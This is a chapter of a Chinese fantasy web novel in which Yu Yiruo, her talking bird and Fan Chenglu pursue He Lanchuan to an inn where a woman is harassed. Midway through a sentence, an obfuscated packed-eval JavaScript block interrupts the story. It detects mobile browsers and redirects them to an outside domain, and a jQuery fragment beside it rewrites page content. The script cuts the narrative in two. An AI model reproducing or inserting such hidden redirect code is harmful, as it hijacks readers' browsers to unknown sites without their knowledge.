漂亮的大鸟卖力地拔出最后一只爪子,尝试着扒拉了两下羽毛。它庆幸道:“还好,还可以挠痒。”
“大鸟?”余以若看它从板上滑下来后,就这瞧瞧,那看看,活像把脑子摔成了傻脑。余以若有些害怕,“大鸟,你怎么了,没事吧你。”
“余以若,你还说,你的神鸟大人我都快死了,你个狠心的人,就只顾着你的书,连我都是可以一掌拍出去的吗?”大鸟跳出来,气势汹汹地说道:“不理你了,哼!”
看它还活蹦乱跳的,是没什么大问题,余以若放心地把书放回乾坤袋,边安慰它,边拎起它的翅膀,把它提溜了起来,兴师问罪道:“肥鸟,你又闯祸了?”
“什么闯不闯祸,我可是正经的鸟。”大鸟挣开她的手,跳到桌子上,摸了摸双下巴,煞有介事地说道:“我可是知道了个大事情,赶紧回来告诉你的。”
“什么大事情?”猜它也只会说在哪看见了更好吃的果子,哪户人家又晒了些什么,活生生就是只吃货鸟,什么神鸟,什么天上地下仅此一只,只怕都是这只鸟胡诌的。余以若不觉它的鸟喙里能说些别的事情出来,敷衍地一问,“有多大的事情?”
“鹤览川走了!”大鸟眼睛睁得老大以显示自己的震撼程度。
“哦,走了就走了。”余以若端起瓷杯气定神闲地抿了口茶,待大鸟的话再在脑海里过第二遍时,她猛然一惊,直接站了起来,“什么,什么走了?”
“天玄宗的那两人走了!”大鸟又把自己从别处打听来的零零碎碎说给她,“他们两人去的地方不是别处,而是什么你知道吗,是西北角那处的山头,你和范小师弟都没搞明白,他们怎么知道那破地方不对劲!除非又有什么好宝贝!”
余以若道:“他们下山来本就是为除害的,没什么好奇怪的。”话是这么说,但她总觉有些不太对劲,特别是长乐镇最后的结果,带给她的总是有点心神不宁,仿佛有什么阴谋还没有浮出水面。
“不对!余以若连我大鸟都觉察出不对劲来了,你怎么突然变笨了。”大鸟这般说着就探头探脑地去看她,不妨瞧见她的朱红发带,“你最近总是带着这个红发带,是尉迟景给你的,你们的关系好到这种地步了?连发带都要用一样的?”
余以若莫名心头起起伏伏,有一点愣,“你说什么啊,哪跟哪呀,我一个只求飞升的小仙子,会耽于这种情爱?说出去连我自己都不信。”又警告道:“肥鸟,你自己可别给我造什么谣哈。”
“要不然你怎么成天带着,好像生怕别人不知道一样。”大鸟张着一张嘴巴巴,压根不管余以若死活。
余以若查了几天典籍,各门派的都看了个遍,突然而然地变冷,浑身血液不通的这种现象,没有一星半点的记载,连只言片语都未曾提及,就好像是不存在在这个世界上的疾病般,飘渺虚浮,没有头绪。
破解之法尚未找到,说了也是白白地让大鸟担心,而且指不定这机灵鸟就告到她师父那里去。余以若可不想师父突然回来,看到她飞升也失败,灵力又没,连青羽剑都断了,她甚至都怕她师父看到这些情况一口老血喷出来,把她骂个狗血淋头。
对她和对她师父自身有害无益。
还不如让她好好地琢磨琢磨,毕竟头上还有尉迟景给她的朱红发带,暂且可以阻挡一下变冷的境况。
“为了好看,你不觉得我平日里的那些衣服什么的,都太素了吗?”余以若一本正经地胡说八道。
“素?”大鸟没怎么留意,但大眼一眯,想起余以若清一色的碧色衣服,就觉得有道理,这么蹩脚的理由最后竟然把它的怀疑通通抹消,变得赞同起来,“确实寡味了些。”
余以若这头才因着把鸟说通,松下一口气,还没出门,就有丫鬟推门走进来,过来说道:“小姐,外面的……”
话还没说完,前脚刚定下,她要说的人就后脚跟了进来。
余以若看着走来的是闻蝉,有些不可思议,“闻姑娘?”
“余小姐,这个是范公子让我交给你的。”闻蝉把信封递给她。
好好的怎么突然送信,余以若将信将疑地接过,把信纸从里面抽出展开,略略地看了一遍。大鸟在旁边干着急,它的范小师弟可没有说什么出现了什么事情啊,难道又怎么样了?
“大鸟!”余以若看完收好,神色一改冷静,起了些微妙的变化,她看向闻蝉,“师兄在哪里等我?”
“在隔壁的烧毁的柿子树下。”闻蝉规矩道。
一直到出门大鸟都不知道发生了什么事情,只从余以若紧张兮兮地告别完余家二老,又匆匆忙忙地收拾好包袱出府的的动作中,判断应是不得了的大事。大鸟站在余以若的肩头,它是感觉不到什么累,但余以若一路又是奔又是跑的,等坐上了马车,额头脖颈早已渗出密密麻麻的汗珠。
对面的范呈路见状掏出帕子递给她,她摆了摆手,示意自己有,擦净了汗,她才问道:“师兄你说的可是真的?”
“千真万确。”范呈路神色真挚,不知道是在说那件事,还是因着对面的人是余以若。大鸟不懂,也不想懂这些复杂的关系,把屁股一扭,就窝在了马车的一角,双腿一蹬,就这么睡了下去。
余以若把大鸟掖到一边,向范呈路比了个噤声的手势,范呈路会意,点了点头就闭上了嘴巴。
道路很平,没有什么山路要走,大体是四平八稳的,但因着出发的时间是早晨,走了几个时辰很快就到了正午,高高升起的太阳把地面上的影子画得短短的。余以若和范呈路跳下马车,环视了一圈,视线最终落在前面不远处,质朴的马车上。
他们出发前就打听好了鹤览川离开的时间,好在他们是昨晚离开的,不算久,要是他们没同余以若他们一般在马车上使了点伎俩,那么余以若他们是势必能追上他们的。结果不出意外,果真看到了他们的马车。
至于他们为什么会断定鹤览川会在这里歇马的理由就是,自兴和镇出发向西北走,一路上的植被越来越稀疏,人烟也越来越淡薄,纵横十里八个村的,只有这里可以让他们歇脚,过了这个村就没这个店,他们虽然修道但不盛行辟谷,是以也是要吃饭的。
而不远处的客栈酒家就是最好的歇脚地。
余以若和范呈路点了点头,两人一前一后地走了进去。
身着华服,甫一看就是气度非凡,客栈里吃着茶喝着酒的客人纷纷把目光投过去,这其中也有鹤览川和程舟怡,但这两人的脸上并没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880488|169447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显出认出熟人的惊讶感,而只是瞧了一眼就继续埋头吃饭。
只因余以若和范呈路有先天之见,戴上了面纱,衣服又换了极张扬的,艳丽的色彩,全不似修道之人的着装。
“两位客官要点什么?”
“就一碗汤面吧,辣椒一点,清淡点。”余以若习惯性地说道。
另一边的鹤览川动作陡然一顿,他若有所思地偏头看去,突而被范呈路察觉,又继续若无其事地端起碗,扒了几口饭。
等范呈路点完,小二高高兴兴地应了声好,就把白乎乎的毛巾往肩头一甩,转身进了里屋。
“姑娘,和谁来的,穿得这么单薄,不冷吗?现在可还没有回春呢。”两个满头乱糟糟的,活像谁家鸡窝焊脑袋上的中年大叔凑到程舟怡面前,左一个右一个自顾自地围着程舟怡坐下,言语间尽是轻佻,“姑娘要是冷,可以来我这里取取暖,我不介意的。”
“我这里也可以,哥哥那里有上好的地龙,一进去就全身暖融融的,这里可享受都享受不到,妹妹定然是冻得冷极了,不过也别怕,哥哥有办法。”另一个中年男子舞动着肥腻的唇,眉飞色舞地邀请程舟怡去他家。
程舟怡没理会他们,然而鹤览川也一声不吭,好歹也是她的师兄,怎么会不为自己师妹出头,余以若忍不了了,扭过头去偷偷地看了几眼,鹤览川竟然不在,他是什么时候不在的,余以若全无印象,再看向范呈路,想从他眼睛里得到答案。
然而他也摇摇头,表示自己不知道。
“妹妹……”两个中年男子丝毫不见外,一口一个妹妹叫得人直泛恶心。因着是新年的初开张,店家本着息事宁人的态度没有出来干涉,只叫了一个店小二出来对两个中年男子说了几句。店小二站在他们面前,活像只不知天高地厚的鸡站在老鹰面前。
中年男子笑得猖狂,没三言两语就把店小二骂回了后厨。
“妹妹是哪里人,要到哪里去,穿这么单薄,可不要着了凉。莫不是学那些山上的仙人,可妹妹啊,咱也要有自知之明,像你生得这样好看的,还修什么道,直接寻个好人家嫁了,不也很美妙?”说着就推销起他自己来。
程舟怡在旁边若无其事地吃着饭,然而余以若看到她的筷子都掐成了两截,她正用手扶持着断成两截的筷子夹菜。
“妹妹,你看我就很好……”
“你先闭嘴。”程舟怡突然开了口,“都可以当我爹的年纪,却不是我爹,教我做事,你们是不是脑子被驴踢过了头,成了四不像的骡子。还是说无端被骟过,说话不男不女的。”
“你!”中年男子怒道:“我好心邀你去我家避避寒风,你倒这样骂我,臭娘们,敬酒不吃吃罚酒,看你老爷我不把你给弄死。”说着就操起长条凳,半威胁似地说道:“妹妹,再给你一次机会,想清楚了,跟还是不跟哥哥我?”
“你是连脑子都被门夹了吗?”程舟怡不紧不慢地吃着碗里的饭,连眼皮也懒得抬。
男子这下没了好话头,把手高高一扬,看着就要砸下,侧面突然滚过一卷风,“轰”的一声条凳砸在了旁边,登时裂成四段,滚滚尘埃中有一个人风尘仆仆地走了进来。
余以若一抬头,神色莫名一滞。